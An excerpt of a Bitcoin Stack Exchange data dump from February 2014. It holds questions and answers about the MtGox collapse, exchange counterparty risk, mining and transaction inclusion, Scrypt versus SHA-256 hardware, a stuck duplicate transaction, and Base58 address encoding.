  <row Id="22640" PostTypeId="2" ParentId="22612" CreationDate="2014-02-25T06:00:27.530" Score="0" Body="&lt;p&gt;I think the problem is with version 1.5  of dogecoin.I fixed it by using this long password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rpcpassword=DLKKWE93203909238dkkKKeowxmIOw0232lsakwL02k&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to solve the problem. Change the password to whatever you want, just use lowercase, upper case and letters, it should fix the problem&lt;/p&gt;&#xA;" OwnerUserId="13817" LastActivityDate="2014-02-25T06:00:27.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22641" PostTypeId="1" CreationDate="2014-02-25T06:10:42.803" Score="13" ViewCount="10138" Body="&lt;p&gt;After reading the &lt;a href=&quot;http://blog.blockchain.info/2014/02/25/joint-statement/&quot; rel=&quot;nofollow&quot;&gt;joint-statement&lt;/a&gt; on blockchain, and the fact MtGox is down now, I am scared, what are my options? Is there anyone who can help me in my situation? I purchased those coins for 800$.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;MtGox files for &lt;a href=&quot;http://www.theguardian.com/technology/2014/feb/28/bitcoin-mtgox-bankruptcy-japan&quot; rel=&quot;nofollow&quot;&gt;bankruptcy protection&lt;/a&gt;. What is the difference between &lt;strong&gt;bankruptcy&lt;/strong&gt; and &lt;strong&gt;bankruptcy protection&lt;/strong&gt;? I don't know, but I don't think that I am going to see anything from there...&lt;/p&gt;&#xA;" OwnerUserId="4527" LastEditorUserId="4527" LastEditDate="2014-03-01T06:33:07.470" LastActivityDate="2015-04-22T20:12:33.023" Title="I have/had 31 bitcoins on MtGox; What are my options now?" Tags="|mtgox|" AnswerCount="8" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="22643" PostTypeId="1" AcceptedAnswerId="22646" CreationDate="2014-02-25T06:57:13.940" Score="6" ViewCount="879" Body="&lt;p&gt;I read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining/760#760&quot;&gt;What exactly is Mining?&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8031/what-are-bitcoin-miners-really-solving/8033#8033&quot;&gt;What are bitcoin miners really solving?&lt;/a&gt;, but was left wondering: What happens if a new transaction comes in, whilst mining? To answer that, I found &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/16606/do-transactions-affect-the-discovery-of-a-block&quot;&gt;Do transactions affect the discovery of a block?&lt;/a&gt;, which, if I understand correctly, says that the mining must &quot;start over&quot; (but the chances of finding the &quot;nonce&quot; on the first attempt are about the same as any subsequent attempts, so there's no &quot;loss of work&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, what about network latency? It must take a finite amount of time for a new transaction to reach miners—so what happens if a miner solves a block, but then receives a transaction timestamped &lt;em&gt;before&lt;/em&gt; the block was solved?&lt;/p&gt;&#xA;" OwnerUserId="13805" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-04-17T18:52:29.493" Title="Does a new block necessarily include all transactions that occurred before its generation? What about network latency?" Tags="|block|network|mining-theory|transaction-selection|latency|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22644" PostTypeId="2" ParentId="22643" CreationDate="2014-02-25T07:04:58.137" Score="3" Body="&lt;p&gt;It is up to individual mining pools to decide how quickly to include newly received transactions. There are no strict rules here and delays of a few minutes are usually acceptable. Transactions with higher fees may encourage miners to include them in a block ASAP.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-25T07:04:58.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22645" PostTypeId="2" ParentId="17350" CreationDate="2014-02-25T07:19:43.430" Score="0" Body="&lt;p&gt;How much money did you send and how long have you owned it? How many bytes was the transaction? Your transaction will only be accepted as no-fee if the weighted average of input value times input age per byte exceeds a threshold (roughly equal to one BTC x day per 250 bytes).&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-25T07:19:43.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22646" PostTypeId="2" ParentId="22643" CreationDate="2014-02-25T07:24:14.137" Score="4" Body="&lt;p&gt;Miners have total freedom to choose which transactions they will include in their blocks. Most miners will include any transaction that reaches them (assuming it includes an appropriate fee) but nothing forces them to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if a miner decides, for whatever reason, to omit a particular transaction, or if it's omitted by an accident of timing, no permanent harm is done. Another miner can include that transaction in a later block with no problem. Transactions don't even have a timestamp, per se, so it's not a problem if it takes a long time (other than the inconvenience to the parties involved). (Blockchain.info and its ilk may record the time at which they first saw the transaction on the network, but that time stamp isn't part of the transaction itself, as far as I know.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-02-25T07:24:14.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22647" PostTypeId="1" AcceptedAnswerId="22648" CreationDate="2014-02-25T07:57:11.407" Score="2" ViewCount="1002" Body="&lt;p&gt;Can a Butterfly Jalapeño be used to mine dogecoin? If so, is it cost effective, compared to it's bitcoin mining cost effectiveness?&lt;/p&gt;&#xA;" OwnerUserId="11495" LastEditorUserId="5406" LastEditDate="2016-03-10T09:55:45.100" LastActivityDate="2016-03-10T09:55:45.100" Title="Butterfly Jalapeño for Dogecoin?" Tags="|mining-hardware|dogecoin|scrypt|butterfly-labs|" AnswerCount="2" CommentCount="1" ClosedDate="2014-03-02T16:44:37.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="22648" PostTypeId="2" ParentId="22647" CreationDate="2014-02-25T08:29:47.110" Score="3" Body="&lt;p&gt;No, the &lt;a href=&quot;https://products.butterflylabs.com/4-5gh-bitcoin-miner.html&quot; rel=&quot;nofollow&quot;&gt;Jalapeño&lt;/a&gt; is a Bitcoin miner, it solves the &lt;strong&gt;SHA-256d&lt;/strong&gt; hash function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, Dogecoin uses the &lt;strong&gt;Scrypt&lt;/strong&gt; hash function. The two are not compatible, and as far as I know there is no Scrypt ASIC being sold, yet.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-02-25T08:29:47.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22649" PostTypeId="1" CreationDate="2014-02-25T09:26:47.900" Score="3" ViewCount="6426" Body="&lt;p&gt;With Mt.Gox probably going insolvent/broke in these days, how safe is my USD account balance with Bitstamp? Is Bitstamp as a company registered with some financial institutions? Are customers USD deposits insured? I only want to consider security from the financial point of view and not my account security (strong passwords, two-factor authentication etc. - is a personal responsibility IMHO).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I would lose all my USD balance if the company goes broke?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2014-02-25T13:30:48.640" LastActivityDate="2015-02-12T08:19:57.973" Title="How safe is my USD deposit at Bitstamp?" Tags="|security|legal|bitcoin-core-accounts|business|bitstamp|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22650" PostTypeId="2" ParentId="22649" CreationDate="2014-02-25T09:55:52.527" Score="0" Body="&lt;p&gt;Bitcoin is a very new technology and as of today there's no law regarding the insurance of your USD when you send them to an exchange. That means that if the company fails and goes bankrupt, or there's a technical issue and their databases get wiped out, there's nobody that can send you your money back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it happened to MtGox this could happen to any other exchange, Bitstamp included. As much as you trust them, technical issues could happen, regulations might pass that wouldn't allow you to withdrawal from these exchanges. Who knows what could happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin relies on the concept of zero-trust, so the fact that we have to trust exchanges with our money is kind of against Bitcoin's principals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, when I want to buy/sell bitcoins, I transfer little amounts to these exchanges, and get them out as soon as I've bought/sold.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-25T09:55:52.527" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="22652" PostTypeId="1" CreationDate="2014-02-25T10:32:21.183" Score="1" ViewCount="26" Body="&lt;p&gt;I've got the feeling my network syncronization sometimes stops. I'd like to keep an eye on incoming information. Preferably something that shows XXX Kb/s or that simply shows me the data that is coming in (&lt;code&gt;tail -f&lt;/code&gt; style). Is there a way to keep tabs on this?&lt;/p&gt;&#xA;" OwnerUserId="13827" LastActivityDate="2014-02-25T10:32:21.183" Title="How to check on speed of the syncronizing progress?" Tags="|blockchain|network|" AnswerCount="0" CommentCount="1" ClosedDate="2014-03-18T22:51:35.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="22653" PostTypeId="2" ParentId="22641" CreationDate="2014-02-25T10:38:29.020" Score="3" Body="&lt;p&gt;Contact a Lawyer and sue them.&lt;/p&gt;&#xA;" OwnerUserId="13854" LastEditorUserId="5406" LastEditDate="2014-02-25T11:36:50.283" LastActivityDate="2014-02-25T11:36:50.283" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22654" PostTypeId="1" AcceptedAnswerId="22672" CreationDate="2014-02-25T12:02:56.830" Score="28" ViewCount="7033" Body="&lt;p&gt;I'm sorry if this is a stupid question, I'm not a bitcoin user and may lack important information. My understanding was that each bitcoin user has a wallet on his harddrive or wherever, where he stores his bitcoins with the transaction history proving that they are his.  So the system is pretty decentralized. Then why is it such a problem that Mt. Gox disappears? Don't the people losing money have it in their own wallets, if so why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit to add:&lt;/strong&gt; In case the question was unclear, I was asking for why people lost money with Mt. Gox - not about the wider ramifications like potentially lost trust in *coin etc.&lt;/p&gt;&#xA;" OwnerUserId="13856" LastEditorUserId="13856" LastEditDate="2014-02-25T21:35:00.117" LastActivityDate="2014-03-03T22:38:46.583" Title="Why is the disappearance of Mt Gox a problem?" Tags="|wallet|mtgox|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22656" PostTypeId="2" ParentId="22654" CreationDate="2014-02-25T13:52:51.273" Score="14" Body="&lt;p&gt;People had bitcoins loaded on Mt.Gox internal trading accounts (trading wallets). This goes both for fiat currency and bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin withdrawals were shut-down for a few weeks now, which created concepts like &quot;goxbucks&quot; or &quot;goxcoins&quot; as you could not get any Bitcoins out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the Mt.Gox is closed completely, so you cannot get either fiat currency or Bitcoins out at all. People speculate that they will never get their funds back, as MtGox would have lost these assets they manage for their customers.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5406" LastEditDate="2014-02-25T14:32:23.697" LastActivityDate="2014-02-25T14:32:23.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22658" PostTypeId="2" ParentId="22647" CreationDate="2014-02-25T14:48:08.020" Score="1" Body="&lt;p&gt;As stated above, it isn't possible because Dogecoin uses Scrypt. However, you could try GPU mining. Their are FPGA implementations and &quot;rumors&quot; of a company attempting to create a Scrypt ASIC ( although due to its memory usage it would prove somewhat difficult ). &lt;/p&gt;&#xA;" OwnerUserId="13192" LastActivityDate="2014-02-25T14:48:08.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22659" PostTypeId="2" ParentId="22641" CreationDate="2014-02-25T14:49:20.683" Score="6" Body="&lt;p&gt;You are not going to like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Man-up and accept that you took a chance using MtGox and lost. The same applies to stocks, commodities, gold, etc. You decided to keep substantial funds in an unregulated exchange in an unregulated &quot;currency&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was lost was the amount in fiat currency represented by the BTC at the time you deposited them, not todays, yesterdays or any other chosen dates rate. Just like buying stock--except stock exchanges are regulated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. My holdings are down too, but not via holdings at MtGox.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="10577" LastEditDate="2014-03-01T03:02:36.410" LastActivityDate="2014-03-01T03:02:36.410" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="22661" PostTypeId="2" ParentId="22654" CreationDate="2014-02-25T15:01:03.793" Score="10" Body="&lt;p&gt;It also shakes confidence in BTC both for the BTC community and the public in general. When I say BTC I am encompassing all other *coin. It is analogous to the failure of a large bank--except without any insurance.   &lt;/p&gt;&#xA;" OwnerUserId="10577" LastActivityDate="2014-02-25T15:01:03.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22662" PostTypeId="2" ParentId="22654" CreationDate="2014-02-25T15:58:44.447" Score="0" Body="&lt;p&gt;In answering the question related to a mass panic (for the financial concern: money might have been lost on the trading system if it wasn't stored off of it - same with currency), what was the reaction to US bank failures in 1929?  Bitcoin doesn't have as many exchanges as there were banks in the United States in 1929 (to my knowledge), but the reaction to bank failures caused a massive panic and also ended up resulting in the &lt;code&gt;FDIC&lt;/code&gt; system.  MtGox, for a while, seemed to be leading the pack as far as its price (it was used a lot in places like Preev, for a time to calculate the price of bitcoin), so it would be like the largest bank in 1929 failing.  That would scare some people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this isn't to say bitcoin is in trouble, just that it's a similar scenario to a bank failure and some people respond by abandoning the system.&lt;/p&gt;&#xA;" OwnerUserId="3958" LastActivityDate="2014-02-25T15:58:44.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22663" PostTypeId="1" CreationDate="2014-02-25T16:11:40.213" Score="3" ViewCount="1567" Body="&lt;p&gt;I received two payments with the following transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/12e487de6fd8d920446cd8663dc11977d185ceaa25b7c6f36921fb76e58875f0&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/12e487de6fd8d920446cd8663dc11977d185ceaa25b7c6f36921fb76e58875f0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this transaction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1HT1vrdy2fegnVKaTE1rqsFzfPVDpiWYjf output receives 0.1341765 BTC and 19tj6SNnJqZqmDvMuhrjwPudX8qVcT392a output receives 0.27240743.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this transaction in my BitcoinQT client. It shows confirmed and everything is fine. The problem is that I have another transaction which has the same inputs and outputs with the above but a different TxID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been stuck in my wallet unconfirmed for two weeks. BC.info does not show this transaction. Neither does any other online service. Below are the full details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have around 10 other transaction in my wallet like this. What is this?￼ Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gettransaction 98ea1e0d4169af104fe36535a4615ab82086750323ce4e539b7d9c82707955f6&#xA;{&#xA;&quot;amount&quot; : 0.40658393,&#xA;&quot;confirmations&quot; : 0,&#xA;&quot;txid&quot; : &quot;98ea1e0d4169af104fe36535a4615ab82086750323ce4e539b7d9c82707955f6&quot;,&#xA;&quot;time&quot; : 1392119952,&#xA;&quot;timereceived&quot; : 1392119952,&#xA;&quot;details&quot; : [&#xA;{&#xA;&quot;account&quot; : &quot;520c7bb149ede83218f46c96&quot;,&#xA;&quot;address&quot; : &quot;1HT1vrdy2fegnVKaTE1rqsFzfPVDpiWYjf&quot;,&#xA;&quot;category&quot; : &quot;receive&quot;,&#xA;&quot;amount&quot; : 0.13417650&#xA;},&#xA;{&#xA;&quot;account&quot; : &quot;520c7bb149ede83218f46c96&quot;,&#xA;&quot;address&quot; : &quot;19tj6SNnJqZqmDvMuhrjwPudX8qVcT392a&quot;,&#xA;&quot;category&quot; : &quot;receive&quot;,&#xA;&quot;amount&quot; : 0.27240743&#xA;}&#xA;]&#xA;}&#xA;&#xA;gettransaction 12e487de6fd8d920446cd8663dc11977d185ceaa25b7c6f36921fb76e58875f0&#xA;{&#xA;&quot;amount&quot; : 0.40658393,&#xA;&quot;confirmations&quot; : 2490,&#xA;&quot;blockhash&quot; : &quot;00000000000000007465867d49096a642c424ae015691c0b0f6280c3bc6de401&quot;,&#xA;&quot;blockindex&quot; : 78,&#xA;&quot;blocktime&quot; : 1392120874,&#xA;&quot;txid&quot; : &quot;12e487de6fd8d920446cd8663dc11977d185ceaa25b7c6f36921fb76e58875f0&quot;,&#xA;&quot;time&quot; : 1392120874,&#xA;&quot;timereceived&quot; : 1392120896,&#xA;&quot;details&quot; : [&#xA;{&#xA;&quot;account&quot; : &quot;520c7bb149ede83218f46c96&quot;,&#xA;&quot;address&quot; : &quot;1HT1vrdy2fegnVKaTE1rqsFzfPVDpiWYjf&quot;,&#xA;&quot;category&quot; : &quot;receive&quot;,&#xA;&quot;amount&quot; : 0.13417650&#xA;},&#xA;{&#xA;&quot;account&quot; : &quot;520c7bb149ede83218f46c96&quot;,&#xA;&quot;address&quot; : &quot;19tj6SNnJqZqmDvMuhrjwPudX8qVcT392a&quot;,&#xA;&quot;category&quot; : &quot;receive&quot;,&#xA;&quot;amount&quot; : 0.27240743&#xA;}&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2014-03-09T13:59:31.673" LastActivityDate="2014-03-09T13:59:31.673" Title="Stuck duplicate transaction in BitcoinQT" Tags="|transactions|bitcoin-core|transaction-malleability|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22666" PostTypeId="2" ParentId="2743" CreationDate="2014-02-25T17:07:46.163" Score="3" Body="&lt;p&gt;MtGox can &lt;a href=&quot;http://www.bbc.co.uk/news/technology-26333661&quot; rel=&quot;nofollow&quot;&gt;disappear&lt;/a&gt; temporarily or permanently and take all your e-wallet bitcoins with it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mt. Gox has been severely hacked, with a massive reserve of its bitcoins stolen. ... a massive hack that has stolen as many as 744,000 bitcoins, fully 6% of all bitcoins in existence. ... &quot;MtGox can go bankrupt at any moment&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.forbes.com/sites/andygreenberg/2014/02/25/bitcoins-price-plummets-as-mt-gox-goes-dark-with-massive-hack-rumored/&quot; rel=&quot;nofollow&quot;&gt;Forbes 2/25/2014 &lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't know of this is irresponsible journalism and exaggeration but the possibility of it being true (of any similar business) is a factor I would take into account when deciding whether to place bitcoins in a MtGox eWallet.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="13866" LastEditDate="2014-02-25T17:27:04.350" LastActivityDate="2014-02-25T17:27:04.350" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22667" PostTypeId="2" ParentId="22636" CreationDate="2014-02-25T17:23:56.200" Score="0" Body="&lt;p&gt;The problem lies int my code's interpretation of zeroes in the most significant bits (MSB).  I've updated my code to give the correct base58hash code (as verified by the QT client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the Base58 checked encoding always works with 25 bytes (RIPEMD + Network + 4 byte Checksum)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following public key has one MSB of zero&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04EF12BF0C1EC3646CE6828E7D59B4111381EB8A3DF2BBB89D53254AD70BE27498C76F6E2AB3B7FC15A69B0A44AC84659728146E46670E3C66B14222FAB82C8CF6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the MSB has two zero, the Base58 hash base one zero &lt;code&gt;1EVEDmVcV7iPvTkaw2gk89yVcCzPzaS6B7&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The following public key has a MSB of two zeros &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04BAE942CC53D51498CD2E1576C1C43F125302DEF76A8A470B818C8D6BB65A82D679232E294E6F2D1C78F35BAA272EF1585F2FFE8B88769B02FBCEDD070CE50D4B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the MSB has two zero, the Base58 hash base two zeros &lt;code&gt;11ujQcjgoMNmbmcBkk8CXLWQy8ZerMtuN&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The following public key has a MSB of three zeros&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04AD8A68DF6A4553BEDD234BF2D7BFB5F0C5830F13C3A5F814AAFC03E2C92602EC1047CFE67F14D499B55F57BBE104D29E9BF6C9849771B4E3AE46FFB76FE3DFCD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the MSB has three zeros, the Base58 hash three zeros &#xA;&lt;code&gt;111oeV7wjVNCQttqY63jLFsg817aMEmTw&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2018-09-17T16:03:03.057" LastActivityDate="2018-09-17T16:03:03.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22670" PostTypeId="1" CreationDate="2014-02-25T19:22:38.663" Score="0" ViewCount="109" Body="&lt;p&gt;it would be amazing is there was a Cryptocoin that could be put to good use.&#xA;Like some sort of protein folding.&#xA;Curecoin, CureCancerCoin exists but it doesn't put anything towards computational research projects.&#xA;Folding@Home is an example of something that could be integrated to a cryptocoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything other than Curecoin or CCC?&lt;/p&gt;&#xA;" OwnerUserId="13872" LastActivityDate="2014-02-25T19:29:21.993" Title="can cryptocoins be put to good use? now or in the future?" Tags="|currencies|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-25T23:58:13.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="22671" PostTypeId="2" ParentId="22670" CreationDate="2014-02-25T19:29:21.993" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://primecoin.org/&quot; rel=&quot;nofollow&quot;&gt;Primecoin&lt;/a&gt; is an example of a well-known cryptocurrency that is doing something useful. As its name implies, its utility relates to &lt;a href=&quot;https://github.com/primecoin/primecoin/wiki/FAQ#wiki-what-are-the-advantages-of-primecoin&quot; rel=&quot;nofollow&quot;&gt;prime number discovery&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The innovative prime proof-of-work in Primecoin not only provides security and minting to the network, but also generates a special form of prime number chains of interest to mathematical research. Thus primecoin network is energy-multiuse, compared to bitcoin network. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2014-02-25T19:29:21.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22672" PostTypeId="2" ParentId="22654" CreationDate="2014-02-25T19:34:45.293" Score="23" Body="&lt;p&gt;To actually try and answer your question, Mt Gox acted as a trusted middleman in btc trading, and thus had to have control over their users money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say dude A has a few btc he wants to sell, and dude B has a few dollars he wants to buy btc for. B doesn't want to pay until A sends him the btc, and A doesn't want to send his btc to B until B pays. Unless they trust each other, they can not do business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By putting money and btc in the hands of a supposedly trustworthy middleman (Mt Gox), A and B can do business. As soon as they agree on the price, the middleman, who has access to both the btc wallet of dude A and the dollar wallet of B, can make sure that both transfers are made, so that each person gets what they agreed on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially, users had dollar accounts and a btc accounts at Mt Gox, and it is from these that things seem to have gone missing.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As has been pointed out below, it may be that accounts still show the right balance, but Mt Gox doesn't have that money anymore.&lt;/p&gt;&#xA;" OwnerUserId="13873" LastEditorUserId="13873" LastEditDate="2014-03-03T22:38:46.583" LastActivityDate="2014-03-03T22:38:46.583" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22673" PostTypeId="2" ParentId="12522" CreationDate="2014-02-25T19:37:29.330" Score="0" Body="&lt;p&gt;The explanation at &lt;a href=&quot;http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/&quot; rel=&quot;nofollow&quot;&gt;http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/&lt;/a&gt; by Michael Nielson, gives a nice walk through what is going on at a pseudo technical level suitable for coder/devs to appreciate the underlying practicalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes a few minutes to read but doesn't talk down to the reader, and compares each stage to various concepts folk will probably already know or at least appreciate what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block chains are quite similar to Git's commit chains in terms of their validation and verification capability for those who look at such issues.&lt;/p&gt;&#xA;" OwnerUserId="13874" LastActivityDate="2014-02-25T19:37:29.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22674" PostTypeId="1" CreationDate="2014-02-25T19:52:59.083" Score="3" ViewCount="137" Body="&lt;p&gt;Is there any academic research or theories about what future events and metrics will most influence BTC's long term valuation relative to fiat currency?&lt;/p&gt;&#xA;" OwnerUserId="13875" LastEditorUserId="5406" LastEditDate="2017-12-23T18:58:08.600" LastActivityDate="2017-12-23T18:58:08.600" Title="Is there any academic research on the influences of Bitcoin's long term valuation?" Tags="|exchange-rate|value|academic-research|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22675" PostTypeId="2" ParentId="22641" CreationDate="2014-02-25T20:28:35.390" Score="11" Body="&lt;p&gt;This is generally called counterparty risk - if your resources are in custody of someone else, there is a risk that they go bankrupt and you lose it. And in that case it is too late and your options are limited to making a sadface :( and writing it off as a loss - do note that you can get x% of the loss back from your income tax in most places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are options to limit that risk &lt;em&gt;before&lt;/em&gt; it materializes - it might be too late for MtGox, but important for the future. All the lessons are pretty the same as historically for 'normal' banks before modern regulation.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Diversify the risk&lt;/strong&gt; - if your funds are spread out among multiple institutions, then there is less chance in losing it all than putting it all in one basket;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Insure the risk&lt;/strong&gt; - your bank deposits are insured in most countries, i.e., if the bank can't return them then the insurer pays up to a certain amount. Bitcoin companies currently aren't insured that way, however it means that when some of them get deposit insurance then that would be a serious selling point for their trustworthiness; and if (when?) regulated banks start offering bitcoin services, then you'd get that protection as well. Also, you can purchase insurance for yourself, although it might be unpleasantly expensive.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reduce the risk&lt;/strong&gt; - choose the company properly. Reputation certainly didn't help in MtGox case and it's not a guarantee, however, you should be looking at solid evidence that the company is solvent. I.e., you want periodic, publicly visible financial statements that are seen and analyzed by many people and that show that they really can afford to pay all the depositors back even if they have a bad day or a bad year. At the very minimum you need this to be (a) according to common accounting standards; (b) expressed by a company officer in a manner that means jail for him if (s)he lies in these statements; (c) audited by a third party - otherwise these statements are worthless, as if there will be real problems, then they will lie always. Regulators of financial institutions do much of that job for banks; not eliminating those problems but reducing them - for unregulated entities you'll have to check everything yourself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13535" LastEditorUserId="8774" LastEditDate="2014-02-27T14:10:34.603" LastActivityDate="2014-02-27T14:10:34.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22676" PostTypeId="1" AcceptedAnswerId="22678" CreationDate="2014-02-25T20:44:10.663" Score="1" ViewCount="1189" Body="&lt;p&gt;I have a somewhat odd question. I am currently pool mining and it is telling me my best share and the difficulty (this is an altcoin but same question applies). My miner is telling me my best share was 16.7K and the difficulty is a little over 100, does it matter what my 'best share' is for that round? How do I know when I solve a block in the pool? I hope this made sense&lt;/p&gt;&#xA;" OwnerUserId="13388" LastEditorUserId="5406" LastEditDate="2016-03-10T09:50:26.187" LastActivityDate="2016-03-10T09:50:26.187" Title="Solving a block and share relationship [pool mining]" Tags="|mining-pools|difficulty|mining-pool-shares|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22677" PostTypeId="2" ParentId="22384" CreationDate="2014-02-25T20:57:30.777" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=405483.0&quot; rel=&quot;nofollow&quot;&gt;Cuckoo Cycle&lt;/a&gt; is close. It is a memory-hard proof of work system - substituting random memory access for CPU power.&lt;/p&gt;&#xA;" OwnerUserId="564" LastActivityDate="2014-02-25T20:57:30.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
